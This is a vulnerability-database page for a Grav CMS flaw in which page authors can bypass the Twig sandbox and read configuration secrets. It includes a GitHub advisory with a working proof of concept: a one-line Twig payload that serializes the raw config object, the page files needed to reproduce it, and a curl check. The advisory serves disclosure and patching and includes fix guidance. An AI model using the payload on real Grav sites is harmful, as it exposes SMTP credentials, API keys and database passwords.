CVE-2026-61842
mediumpriority · track · 0EPSS 0.004 · 38 %ileUSEPSS · scored 2026-10-27
Grav is a file-based Web platform. Prior to 2.0.2, the Grav Twig content sandbox permits grav.offsetGet('config') to return the raw configuration object and permits json_encode, print_r, yaml_encode, and string filters to serialize that object without passing through GravSecurityPolicy::checkMethodAllowed. A user with page-author permissions can render sandboxed content that exposes plugins.* configuration secrets, including SMTP credentials, API keys, and plugin database credentials. This issue is fixed in version 2.0.2.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (1)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-mc5q-6hpj-rp7jGrav: Twig sandbox config exfiltration via grav.offsetGet + dump filter (CVE-2026-44738 bypass)2026-09-02ghsa · osvUS
### Summary The Twig content sandbox replaces `config` with the redacted `SandboxConfig` facade and strips `Config::get`/`toArray` from the method allowlist (GHSA-j274-39qw-32c9), so editor content can't read config secrets via `config`. That's bypassable: `grav` is the raw container, `offsetget` is allow-listed on it, so `grav.offsetGet('config')` returns the real `Config`. The allow-listed filters `json_encode`/`print_r`/`yaml_encode` then serialize it at the PHP level, never hitting the sandbox method gate, dumping the whole config tree including every `plugins.*` secret (SMTP creds, API keys, plugin DB creds). Incomplete fix for GHSA-j274-39qw-32c9. `security.salt` does not leak (it lives outside config). ### Details The documented path is blocked: `config` is the `SandboxConfig` facade (`Twig.php:660`) and the raw `Config`/`Data` method entries are stripped when `config_access` is false, so `{{ config.get(...) }}` returns the default and `{{ grav.offsetGet('config').get(...) }}` raises `SecurityNotAllowedMethodError`. The bypass uses two allow-listed primitives the redaction doesn't cover: 1. `grav.offsetGet('config')` returns the raw `Config`. The `SandboxConfig` facade replaces only the `config` variable, not `grav['config']`; `offsetget` is allow-listed on `Grav\Common\Grav` in `system/config/security.yaml`. 2. `json_encode`/`print_r`/`yaml_encode` serialize the object inside the filter and never call `GravSecurityPolicy::checkMethodAllowed` (`GravSecurityPolicy.php:65`), so the stripped methods don't matter. Bug class: object-dumping filters bypass the sandbox member gate. The same dump reaches `page`/`pages`/`uri`/`user` via their allow-listed accessors; `config` is the secret-bearing target. Reachable below the publisher-Twig opt-in: a `_`-prefixed slug is modular (`Page.php:228`), and `Page::content()` sets `$process_twig = $scan_twig_xss || $this->modularTwig()` (`Page.php:816`), so a modular child's body Twig is sandboxed-rendered even with `twig_content.process_enabled` false (the default), while `$scan_twig_xss` stays false so the render-time XSS scan (GHSA-2c4f-86xc-cr74) is skipped. Any `admin.pages` author (or filesystem write to `user/pages`) exfiltrates config on a stock install. On a regular `process.twig` page the whole-tree dump trips the XSS scan and is blanked, but a targeted `split`/`slice` extraction of one subtree is XSS-clean and survives. ### PoC Sandboxed render, `config_access` default false. First two lines show the gate holding, third is the bypass: ```twig {{ config.get('plugins.email.mailer.smtp.password', 'DENIED') }} {# => DENIED #} {{ grav.offsetGet('config').get('plugins.email.mailer.smtp.password') }} {# => SecurityNotAllowedMethodError 'get' #} {{ grav.offsetGet('config')|json_encode }} {# => {...,"plugins":{"email":{"mailer":{"smtp":{"password":"CANARY..."}}}},...} #} ``` Stock-install reproduction (no `user/config/security.yaml`): ```yaml # user/config/plugins/email.yaml -- decoy secret mailer: { smtp: { password: CANARY_SMTP_PW_8b3f1 } } ``` ``` # user/pages/70.parent/default.md --- title: Parent content: { items: '@self.modular' } template: modular --- ``` ```twig {# user/pages/70.parent/_secret/default.md #} --- title: Secret template: modular/text --- {{ grav.offsetGet('config')|json_encode }} ``` ```bash curl -s http://localhost/parent # body contains CANARY_SMTP_PW_8b3f1 ``` `logs/security.log` shows no sandbox block and no XSS scan for the route. Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, Twig 3.26.1-DEV. ### Impact A page author (`admin.pages`, no admin/super) reads the entire config tree: plugin SMTP credentials, API keys, plugin DB credentials. Read-only. Default install; the modular path needs no Twig opt-in. ### Fix `system/config/security.yaml`: drop `offsetget` (and `__get`) from `twig_sandbox.allowed_methods` for `Grav\Common\Grav` -- the legit uses are `theme`/`getversion`; `offsetget` is the raw-container reach. Closes the demonstrated path. Sandbox-wide: make `json_encode`/`print_r`/`yaml_encode`/`string` refuse non-allow-listed objects when `$env->isSandboxed()` (mirror the Closure-only guard Twig applies to `map`/`filter`/`reduce`). Closes the class for `page`/`pages`/`uri`/`user` too.
- CVE-2026-61450Grav before 2.0.2 Config Exfiltration via offsetGet Filter2026-07-10vendor · osvUS
Grav before 2.0.2 contains a Twig sandbox bypass that allows a page author (any admin.pages user, or anyone able to write to user/pages) to exfiltrate configuration secrets. Although the sandbox replaces the 'config' variable with a redacted facade and strips Config::get/toArray from the method allowlist, the raw container remains accessible via the allow-listed grav.offsetGet('config'), which returns the real Config object. Allow-listed object-dumping filters (json_encode, print_r, yaml_encode) then serialize that object at the PHP level without invoking the sandbox method gate, exposing the full config tree including plugin secrets such as SMTP credentials, API keys, and plugin DB credentials. This is an incomplete fix for GHSA-j274-39qw-32c9.
also known as (1)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (3) nvd
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan